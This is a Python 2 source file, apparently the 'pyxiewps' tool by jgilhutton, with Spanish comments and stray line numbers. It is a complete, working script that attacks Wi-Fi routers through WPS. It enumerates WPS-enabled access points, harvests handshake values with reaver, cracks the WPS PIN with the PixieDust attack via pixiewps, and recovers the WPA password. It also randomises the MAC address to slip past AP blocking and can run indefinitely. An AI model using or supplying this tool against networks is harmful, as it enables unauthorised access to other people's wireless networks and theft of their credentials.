785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 |
from os import kill, system, path, chdir from signal import alarm, signal, SIGALRM, SIGKILL import time import subprocess from re import sub, compile, search from sys import argv REAVER = 'reaver' PIXIEWPS = 'pixiewps' WASH = 'wash' AIRMON = 'airmon-ng' MACCHANGER = 'macchanger' GIT = 'git' INFO = '\033[32m[+] \033[0m' # Verde ALERTA = '\033[31m[!] \033[0m' # Rojo INPUT = '\033[34m[>] \033[0m' # Azul DATA = '\033[33m[DATA] \033[0m' #Amarillo OPCION = '\033[33m[!!!] \033[0m' #Amarillo USE_REAVER = False # Si False usa wash y termina. USE_PIXIEWPS = False # Intenta averiguar el pin WPS con pixiewps WASH_TIME = 11 # Tiempo para que wash recopile APs con WPS WASH_CHANNEL = '' # Todos REAVER_TIME = 6 # Tiempo para que reaver recopile la informacion CHOICES_YES = ['S', 's', '', 'si', 'Si'] CHOICES_NOPE = ['N', 'n', 'no', 'No'] PROMPT_APS = False OUTPUT = False OUTPUT_FILE = 'data.txt' PRINT_REAVER = True PRINT_PIXIE = True GET_PASSWORD = False FOREVER = False OVERRIDE = False def banner(): """ Imprime el banner en la pantalla """ print print "\t ____ _ " print "\t| _ \ _ ___ _(_) _____ ___ __ ___ " print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / \'_ \/ __|" print "\t| __/| |_| |> <| | __/\ V V /| |_) \__ \\" print "\t|_| \__, /_/\_\_|\___| \_/\_/ | .__/|___\\" print "\t |___/ |_| " print print "\tHecho por jgilhutton" print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg" print "\tCopyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>" print "\tPixiewps Copyright (c) 2015, wiire <wi7ire@gmail.com>" print "\tMacchanger por Alvaro Ortega Copyright (C) 2003 Free Software Foundation, Inc." print def arg_parser(): """ Detecta los argumentos y devuelve la ayuda si hay algun problema """ global PRINT_PIXIE global PRINT_REAVER global USE_REAVER global USE_PIXIEWPS global WASH_TIME global REAVER_TIME global WASH_CHANNEL global PROMPT_APS global OUTPUT_FILE global OUTPUT global GET_PASSWORD global FOREVER global OVERRIDE H = ['-h','--help'] binary_flags = ['-w','-t','-c','-o'] for arg in argv[1:]: if arg in H: help() exit() elif argv[argv.index(arg)-1] in binary_flags: continue elif arg == '-q' or arg == '--quiet': PRINT_PIXIE = False PRINT_REAVER = False elif arg == '-r' or arg == '--use-reaver': USE_REAVER = True elif arg == '-p' or arg == '--use-pixie': USE_PIXIEWPS = True elif arg == '-w' or arg == '--wash-time': try: WASH_TIME = int(argv[argv.index(arg)+1]) except ValueError: help() elif arg == '-t' or arg == '--tiempo': try: REAVER_TIME = int(argv[argv.index(arg)+1]) except ValueError: help() elif arg == '-c' or arg == '--canal': try: WASH_CHANNEL = int(argv[argv.index(arg)+1]) except ValueError: help() elif arg == '-P' or arg == '--prompt': PROMPT_APS = True elif arg == '-o' or arg == '--output': OUTPUT = True OUTPUT_FILE = argv[argv.index(arg)+1] elif arg == '-f' or arg == '--pass': GET_PASSWORD = True elif arg == '-F' or arg == '--forever': FOREVER = True elif arg == '-O' or arg == '--override': OVERRIDE = True else: help() def help(): """ Muestra la ayuda y sale """ print print "script -r -p -w 15 -t 6 -c 7 -P -o file.txt -f" print "script --use-reaver --use-pixie --wash-time 15 --tiempo 6 --canal 7 --prompt --output file.txt -h" print print '\t-r --use-reaver Captura la informacion del AP con Reaver. [False]' print '\t-p --use-pixie Una vez que captura la informacion con Reaver [False]' print '\t intenta sacar el pin WPS del router.' print '\t-w --wash-time [tiempo] Setea el tiempo que va a usar para enumerar los [15]' print '\t ap con WPS.' print '\t-t --tiempo [tiempo] Setea el tiempo que va a usar para recolectar la [6]' print '\t informacion del AP.' print '\t-c --canal [canal] Proporciona el canal en el que escucha para enumerar' print '\t los AP con WPS. Si no se usa, se escanean todos los canales.' print '\t-P --prompt Si se encuentra mas de un AP con WPS, preguntar a cual [False]' print '\t se quiere atacar.' print '\t-o --output [archivo] Graba los datos en un archivo de texto.' print '\t-f --pass Si se tiene exito al averiguar el pin WPS, tambien' print '\t tratar de averiguar la clave WPA.' print '\t-q --quiet No muestra la informacion recopilada.' print '\t-F --forever Corre el programa indefinidamente hasta que se lo interrumpa' print '\t-O --override Vuelve a atacar APs con pines que ya han sido conseguidos' print '\t sin preguntar.' print exit() class Engine(): """ Aca se chequea todo, y se empieza el programa """ def __init__(self): self.REAVER = True self.PIXIEWPS = True self.WASH = True self.AIRMON = True self.MACCHANGER = True self.GIT = True def start(self): """ Crea el colchon para los programas necesarios """ chdir('/root/') if not c.check_iface(): # check_iface devuelve True si hay alguna ifaz en mon previamente c.set_iface("UP") else: print INFO + "Se encontro una interfaz en modo monitor: %s" %c.IFACE_MON choice = raw_input("%sDesea usar esta interfaz? [S/n] " %INPUT) if choice in CHOICES_YES: pass elif choice in CHOICES_NOPE: c.set_iface("DOWN") c.set_iface("UP") if FOREVER: while True: attack = Attack() attack.get_wps_aps() else: attack = Attack() attack.get_wps_aps() engine.exit_limpio() def parse_wash(self, linea): """ Analiza el output del wash linea viene sin el salto de linea, separando las cosas con "|" Devuelve bssid, canal, essid e instancia de Target """ linea = linea.split('|') bssid = linea[0] # MAC canal = linea[1] essid = linea[-1] return [bssid, canal, essid] def parse_reaver(self, output, pin_encontrado = False): """ Analiza el output del reaver Saca el pkr, pke, hash1 y 2, enonce, rnonce, authkey, fabricante y modelo y los devuelve """ if pin_encontrado: password = '' for linea in output: if '[+] WPA PSK: ' in linea: password = sub('\[\+\] WPA PSK: ','',linea) return password if password == '': return 'no password' E_NONCE = '' R_NONCE = '' PKR = '' PKE = '' HASH1 = '' HASH2 = '' AUTHKEY = '' MANUFACTURER = '' MODEL = '' NUMBER = '' uberlista = [] lista_final = [] is_complete = False has_something = False if output == '': return 'cacota' for linea in output: if 'E-Nonce' in linea: has_something = True elif 'E-Hash2' in linea: lista_final = output[0:output.index(linea)+1] # Trunca el output hasta el hash2 is_complete = True break elif 'Detected AP rate limiting' in linea: return 'ap rate limited' if has_something and not is_complete: return 'more time please' elif has_something == False: return 'noutput' for linea in lista_final: if 'E-Nonce' in linea: E_NONCE = sub('\[P\] E-Nonce: ','',linea) elif 'R-Nonce' in linea: R_NONCE = sub('\[P\] R-Nonce: ','',linea) elif 'PKR' in linea: PKR = sub('\[P\] PKR: ','',linea) elif 'PKE' in linea: PKE = sub('\[P\] PKE: ','',linea) elif 'E-Hash1' in linea: HASH1 = sub('\[P\] E-Hash1: ','',linea) elif 'E-Hash2' in linea: HASH2 = sub('\[P\] E-Hash2: ','',linea) elif 'AuthKey' in linea: AUTHKEY = sub('\[P\] AuthKey: ','',linea) elif 'Manufacturer' in linea: MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',linea) elif 'Model Name' in linea: MODEL = sub('\[P\] WPS Model Name: ','',linea) elif 'Model Number' in linea: NUMBER = sub('\[P\] WPS Model Number: ','',linea) elif '[+] Associated with ' in linea: ESSID = sub('\(ESSID\: ','|',linea) ESSID = ESSID.split('|')[-1][:-2] elif '[+] Waiting for beacon from ' in linea: BSSID = sub('\[\+\] Waiting for beacon from ','',linea) else: pass uberlista = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(), MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(), ESSID.strip(),BSSID.strip()] return uberlista def check(self, check_again = False): """ Chequea dependencias, el usuario que ejecuta el programa y otras weas """ if c.get_uid() != '0': print ALERTA + 'Necesita ejecutar este programa como superusuario' exit() ### Programas if c.program_exists(MACCHANGER): self.MACCHANGER = True elif not check_again: print ALERTA + 'macchanger no esta instalado pero no es vital para el programa.' print ' Algunos APs bloquean la MAC del dispositivo con el que se ataca y' print ' cambiar la MAC es una buena solucion para desviar el problema.' print ' Si no se tiene macchanger el programa fallara en recolectar la informacion.' self.MACCHANGER = False if c.program_exists(REAVER): version = c.check_reaver_version() if version == '1.5.2': self.REAVER = True else: print ALERTA + "La version de reaver instalada no es la correcta" self.REAVER = False elif not check_again: print ALERTA + 'reaver no esta instalado' self.REAVER = False if c.program_exists(PIXIEWPS): self.PIXIEWPS = True elif not check_again: print ALERTA + 'pixiewps no esta instalado' self.PIXIEWPS = False if c.program_exists(WASH): self.WASH = True elif not check_again: print ALERTA + 'wash no esta instalado' self.WASH = False if c.program_exists(AIRMON): self.AIRMON = True elif not check_again: print ALERTA + 'airmon-ng no esta instalado' self.AIRMON = False if c.program_exists(GIT): self.GIT = True elif not check_again: self.GIT = False if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS and check_again: print INFO + "Todos los programas se instalaron correctamente." raw_input("%sPresione enter para continuar" %INPUT) print INFO + "Empezando el ataque..." elif check_again: print print ALERTA + "No se pudieron instalar algunos prorgamas." print " Revise manualmente las dependecias necesitadas" print " y luego de instalarlas, ejecute otra vez el programa." print exit() if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS: pass else: print ALERTA + "Necesita tener todos los programas necesarios." print INPUT + "Las dependencias son:" print "\tbuild-essential" print "\tlibpcap-dev" print "\tsqlite3" print "\tlibsqlite3-dev" print "\taircrack-ng" print "\tlibssl-dev" choice = raw_input("%sDesea que instalarlas ahora [S/n]?" %INPUT) if choice in CHOICES_YES: c.get_binarios() else: exit() ###Todo en orden... engine.start() def run(self, cmd, shell = False, kill_tree = True, timeout = -1): """ Ejecuta un comando durante un tiempo determinado que, transcurrido, es terminado. Devuelve el stdout del proc. output es una lista con las lineas sin strip(). """ class Alarm(Exception): pass def alarm_handler(signum, frame): raise Alarm if timeout != -1: signal(SIGALRM, alarm_handler) # Empieza a correr el tiempo alarm(timeout) # Si se acaba levanta una alarma proc = subprocess.Popen(cmd, shell = shell, stdout = subprocess.PIPE) output = [] try: for line in iter(proc.stdout.readline, ''): output.append(line) if timeout != -1: alarm(0) except Alarm: # El tiempo acaba y se produce una alarma pids = [proc.pid] # Se matan los procesos relacionados con proc. if kill_tree: pids.extend(self.get_process_children(proc.pid)) for pid in pids: # Es posible que el proceso haya muerto antes de esto try: # por eso se maneja el error con el except OSError kill(pid, SIGKILL) except OSError: pass return output return output def get_process_children(self, pid): """ Devuelve los pids del programa que se haya abierto para matar todo el arbol de procesos child """ proc = subprocess.Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = subprocess.PIPE) stdout = proc.communicate()[0] return [int(p) for p in stdout.split()] def mac_changer(self): """ Cambia la MAC del dispositivo ante un bloqueo del AP """ print INFO + "Cambiando direccion MAC del dispositivo..." system('ifconfig %s down' %c.IFACE_MON) mac = subprocess.check_output(['macchanger','-r',c.IFACE_MON]) mac = mac.split('\n')[2] mac = sub('New MAC\: ','',mac.strip()) mac = sub(' \(unknown\)','',mac) system('ifconfig %s up' %c.IFACE_MON) print INFO + "Se cambio la MAC a una nueva: %s%s" %(INPUT,mac.upper()) def exit_limpio(self): """ limpia las cosas antes de terminar el programa """ if path.isfile('/root/pixiewps/Makefile') or path.isfile('/root/reaver-wps-fork-t6x/src/Makefile'): print OPCION + "Los archivos para instalar pixiewps y reaver ya no son necesarios" print " y se encuentran en la carpeta home del usuario root" choice = raw_input("%sDesea borrarlos? [S/n]" %INPUT) if choice in CHOICES_YES: system('cd /root && rm -r pixiewps/ && rm -r reaver-wps-fork-t6x/') if c.IS_MON: c.set_iface("DOWN") if USE_REAVER: system('rm -f /usr/local/etc/reaver/*.wpc') exit() class Config(): """ Funciones de configuracion de interfaces. """ IFACE_MON = 'caca' IFACE = 'caca' IS_MON = False def program_exists(self, programa): """ Chequea si existe el programa que se le pasa en el argumento """ cmd = "which " + programa output = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE) output = output.communicate()[0] if output != "": return True # Existe else: return False # No existe def get_uid(self): """ Devuelve el usuario que ejecuta el script """ uid = subprocess.check_output(['id','-u']).strip() return uid def check_iface(self): """ Se fija si hay alguna interfaz en modo monitor para no crear otra interfaz al pedo """ cmd = "ifconfig | grep mon | cut -d \' \' -f1" # iwconfig no es grepable mon = subprocess.check_output(cmd, shell = True).strip() if mon != '': self.IFACE_MON = mon self.IS_MON = True return True else: return False def get_iface(self): """ Si no hay interfaces en modo monitor, devuelve las wlans. Si hay mas de una, pregunta cual se quiere usar. Si la interfaz ya esta en modo monitor, devuelve el nombre. """ if self.IS_MON: # Si la interfaz esta en modo monitor devuelve el nombre 'mon' cmd = "ifconfig | grep mon | cut -d \' \' -f1" mon = subprocess.check_output(cmd, shell = True).strip() self.IFACE_MON = mon return mon else: cmd = "ifconfig | grep wlan | cut -d \' \' -f1" proc = subprocess.check_output(cmd, shell = True) ifaces = proc.strip().split('\n') if len(ifaces) == 1 and ifaces[0] == '': print ALERTA + "No hay interfaces wireless!" print " Asegurese de que posee un dispositivo wireless." print " Si esta corriendo en una maquina virtual debe" print " adquirir un modulo WiFi USB." exit() elif len(ifaces) > 1: print INPUT + "Seleccione interfaz: " for i in ifaces: print str(ifaces.index(i)) + " >> " + i while True: #Evita que le mandes fruta try: choice = int(raw_input(INPUT)) if choice <= len(ifaces) and choice >= 0: self.IFACE = ifaces[choice] return ifaces[choice] break else: print INPUT + "Inserte un numero entre 0 y %s" %(len(ifaces)-1) #Maneja el error de indice except ValueError: print ALERTA + "Inserte un numero entre 0 y %s" %(len(ifaces)-1) #Por si le mandas letras y no #s except KeyboardInterrupt: print print ALERTA + "Programa interrumpido" print engine.exit_limpio() else: self.IFACE = ifaces[0] return ifaces[0] def set_iface(self, status): """ Maneja la interfaz inalambrica. La pone en modo monitor y la repone al modo normal. La variable "status" esta solo para mejorar la lectura Se basa en el booleano "self.IS_MON" """ if self.IS_MON: cmd = 'airmon-ng stop ' + self.get_iface() print INFO + 'Terminando el modo monitor en la interfaz %s...' %self.IFACE_MON proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE) self.IS_MON = False print INFO + 'Listo' else: cmd = 'airmon-ng start ' + self.get_iface() print INFO + 'Configurando la interfaz en modo monitor...' proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE) self.check_iface() print INFO + "%s corriendo en modo monitor" %self.IFACE def data_file(self, data): """ Guarda la informacion en un archivo """ system('echo INFORMACION >> %s' %OUTPUT_FILE) with open(OUTPUT_FILE, 'a+') as f: fecha = str(time.gmtime()[1])+'-'+str(time.gmtime()[2])+'-'+str(time.gmtime()[0]) hora = str((time.gmtime()[3])-3).zfill(2)+':'+str(time.gmtime()[4]).zfill(2) f.write(fecha+' | '+hora+'\n') f.writelines(data) print INFO + "Se guardo la informacion en el archivo %s" %OUTPUT_FILE def get_binarios(self): """ Instala reaver, pixiewps y otras dependencias """ git = 'apt-get -y install git' reaver_dep = 'apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng' pixie_dep = 'sudo apt-get -y install libssl-dev' reaver = 'git clone https://github.com/t6x/reaver-wps-fork-t6x.git' pixiewps = 'git clone https://github.com/wiire/pixiewps.git' aircrack = 'apt-get -y install aircrack-ng' if not engine.GIT: print INFO + "Instalando git" proc4 = system(git) if not engine.AIRMON: print INFO + "Instalando aircrack..." proc5 = system(aircrack) if not engine.PIXIEWPS: print INFO + "Instalando dependencias de pixiewps..." proc2 = system(pixie_dep) print INFO + "Descargando pixiewps..." proc3 = system(pixiewps) if not engine.REAVER: print INFO + "Instalando las dependencias de reaver..." proc = system(reaver_dep) print INFO + "Descargando reaver..." proc1 = system(reaver) if path.isdir('pixiewps') and not engine.PIXIEWPS: print INFO + "Instalando pixiewps..." system('cd pixiewps/src && make && make install') print INFO + "Listo" if path.isdir('reaver-wps-fork-t6x') and not engine.REAVER: print INFO + "Instalando reaver..." system('cd reaver-wps-fork-t6x* && cd src && ./configure && make && make install') print INFO + "Listo" engine.check(check_again = True) def check_reaver_version(self): """ Devuelve la version de reaver que se tiene instalada """ output = subprocess.Popen('reaver -h', shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE) output = output.communicate() if 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[0] and 'mod by t6_x' in output[0]: return '1.5.2' elif output[0] != '': return output[0][9:12] elif 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[1] and 'mod by t6_x' in output[1]: return '1.5.2' elif output[1] != '': return output[1][9:12] class Attack(): """ Funciones de ataque y recopilacion de informacion del AP """ def get_wps_aps(self): """ Enumera los APs con WPS Crea las instancias de Target. Pasa a get_reaver_info """ print INFO + "Enumerando APs con WPS activado..." cmd = 'wash -i %s -P' %(c.IFACE_MON) if WASH_CHANNEL != '': cmd = cmd + ' -c %d' %WASH_CHANNEL lista_aps = engine.run(cmd, shell = True, timeout = WASH_TIME) lista_provisoria = [] ultimo = len(lista_aps)-1 for linea in lista_aps: # Esto se tiene que hacer por irregularidades ocasionales if '|' in linea: # en el output del wash. lista_provisoria.append(linea) # lista_aps = lista_provisoria # if lista_aps == []: print print ALERTA + "No se encontraron APs con WPS activado." print if not FOREVER: engine.exit_limpio() else: for_fill = lista_aps #\ essids = [] #| for line in for_fill: #|- Para que quede mas linda la lista line = line.split('|') #|- de los APs. essids.append(line[5].strip()) #| fill = len(max(essids)) #/ print INFO + "Se encontraron los siguientes APs con WPS activado:" for linea in lista_aps: linea = linea.split('|') fill_line = fill - len(linea[5].strip()) print '\t' + INPUT + str(linea[5].strip()) + ' '*fill_line + ' || ' + linea[0] + ' || Canal: ' + linea[1] + ' || WPS locked?: ' + linea[4] if USE_REAVER: while True: try: if len(lista_aps) != 1 and PROMPT_APS: choice = int(raw_input("%sProporcione el inice del AP: " %INPUT)) provisoria = [] provisoria.append(lista_aps[choice]) lista_aps = provisoria break else: break except KeyboardInterrupt: print engine.exit_limpio() break except ValueError: print ALERTA + "Proporcione un numero entre 0 y %d" %ultimo if not OVERRIDE and path.isfile('pyxiewpsdata.txt'): coincidencias = [] pin_correspondiente = [] with open('pyxiewpsdata.txt') as f: ya_sacados = f.readlines() if len(ya_sacados) > 1: ya_sacados.reverse() # Se revierte para tomar el pin mas actualizado ante un posible for target in lista_aps: # cambio del pin WPS. for line in ya_sacados[1:]: if target.split('|')[5].strip() == line.strip(): coincidencias.append(target) pin_correspondiente.append(ya_sacados[ya_sacados.index(line)-1].strip()) for i in set(coincidencias): print OPCION + "El pin de %s ya ha sido averiguado: " %i.split('|')[5].strip() print '\t'+ INPUT + pin_correspondiente[coincidencias.index(i)] print OPCION + "Desea saltearlo? [S/n]: " try: choice = raw_input("%s Enter para saltear: " %INPUT) except KeyboardInterrupt: print engine.exit_limpio() if choice in CHOICES_YES: lista_aps.remove(i) for linea in lista_aps: args = engine.parse_wash(linea.strip()) self.get_reaver_info(args[0],args[1],args[2]) if not FOREVER: engine.exit_limpio() else: pass def get_reaver_info(self, bssid, canal, essid): """ Recopila la informacion vital para el ataque PixieDust. PKR, PKE, HASH1, HASH2, AUTHKEY Actua dentro del for-loop de get_wps_aps """ print INFO + "Recopilando informacion de %s con reaver..." %essid output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',bssid,'-vv','-L','-c',canal], timeout = REAVER_TIME) data = engine.parse_reaver(output) if data == 'noutput': print print ALERTA + "No se pudo obtener la informacion necesaria del AP" print ALERTA + "Pruebe con un tiempo mas alto como argumento -t" print " y si aun no se puede obtener la informacion" print " mejore la recepcion de su interfaz" print if MACCHANGER and FOREVER: engine.mac_changer() elif MACCHANGER and not FOREVER: print ALERTA + "No se cambia la MAC porque se ejecuto una sola vez" print " Corra el programa con el argumento -F para correr indefinidamente" print elif not MACCHANGER: print ALERTA + "No se puede cambiar la MAC del dispositivo" print " porque no se tiene macchanger instalado." print elif data == 'more time please': print print ALERTA + "El programa obtuvo alguna informacion pero no alcanzo" print " a recuperar todo lo necesario. Aumente el tiempo para buscar" print " la informacion del AP con el argumento -t. Por default -t es 6 segundos" print elif data == 'ap rate limited': print print ALERTA + "Al AP no le gustan los ataques de WPS" print " por lo tanto no se pudo recopilar la informacion" print if MACCHANGER and FOREVER: engine.mac_changer() elif MACCHANGER and not FOREVER: print ALERTA + "No se cambia la MAC porque se ejecuto una sola vez" print " Corra el programa con el argumento -F para atacar indefinidamente" print elif not MACCHANGER: print ALERTA + "No se puede cambiar la MAC del dispositivo" print " porque no se tiene macchanger instalado." print elif data == 'cacota': print print "Seleccione una opcion de sesion para reaver" if not FOREVER: engine.exit_limpio() else: print INFO + "Exito. Se encontro la informacion necesaria." for_file = ['ESSID: ' + data[10] + '\n','MAC: ' + data[11] + '\n','PKE: ' + data[0] + '\n', 'PKR: ' + data[1] + '\n','HASH1: ' + data[2] + '\n','HASH2: ' + data[3] + '\n', 'E-NONCE: ' + data[8] + '\n','R-NONCE: ' + data[9] + '\n','AUTHKEY: ' + data[4] + '\n', 'FABRICANTE: ' + data[5] + '\n','MODELO: ' + data[6] + '\n','NUMERO DE MODELO: ' + data[7] + '\n'] if PRINT_REAVER: print for linea in for_file: print DATA + linea.strip() print if OUTPUT and not USE_PIXIEWPS: for_file.append('-'*40+'\n') c.data_file(for_file) if USE_PIXIEWPS: self.pixie_attack(data,for_file,canal) def pixie_attack(self,data,for_file,canal): """ intenta recuperar el pin WPS usando el ataque PixieDust """ ESSID = data[10] BSSID = data[11] PKE = data[0] PKR = data[1] HASH1 = data[2] HASH2 = data[3] AUTHKEY = data[4] E_NONCE = data[8] R_NONCE = data[9] cmd = ['pixiewps','-e',PKE,'-r',PKR,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE] cmd1 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE,'-S'] cmd2 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-n',E_NONCE,'-m',R_NONCE,'-b',BSSID,'-S'] pin = '' cmd_list = [cmd, cmd1, cmd2] output = [] for command in cmd_list: try: output = subprocess.check_output(command) output = output.strip().split('\n') for linea in output: if '[+] WPS pin:' in linea: result = compile('\d+') pin = result.search(linea).group(0) break else: pass except: #Tengo que manejar un posible error del Pixie pass if pin != '': break if pin != '' and len(pin) == 8: print INFO + "Pin WPS encontrado!" print "\t" + INPUT + pin for_file.append('Pin WPS: '+pin+'\n') system('echo >> pyxiewpsdata.txt') with open('pyxiewpsdata.txt','a+') as f: f.write(ESSID+'\n') f.write(pin) elif pin == '': print print ALERTA + "No se encontro el pin WPS." print " Es posible que el AP no sea vulnerable al" print " ataque PixieDust y nunca lo sea" print if GET_PASSWORD and pin != '': self.get_password(for_file, BSSID, pin, canal) elif OUTPUT: for_file.append('-'*40+'\n') c.data_file(for_file) def get_password(self, for_file, BSSID, pin, canal): """ Intenta averiguar la contrasenia, una vez que se consiguio el pin WPS """ output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-vv','-c',canal,'-p',pin,'-L'], timeout = (REAVER_TIME+4)) password = engine.parse_reaver(output, pin_encontrado = True) if password == 'no password': print print ALERTA + "No se pudo recuperar la contrasenia en este momento" print " pero puede acceder a la red WiFi a traves del pin WPS" print else: print INFO + "Clave encontrada!" print '\t' + INPUT + password.strip() if OUTPUT: for_file.append('Password: ' + password + '\n'+'-'*40+'\n') c.data_file(for_file) if __name__ == '__main__': arg_parser() banner() try: c = Config() engine = Engine() engine.check() except KeyboardInterrupt, EOFError: print print ALERTA + "Programa interrumpido!" print engine.exit_limpio() |
Source : https://github.com/jgilhutton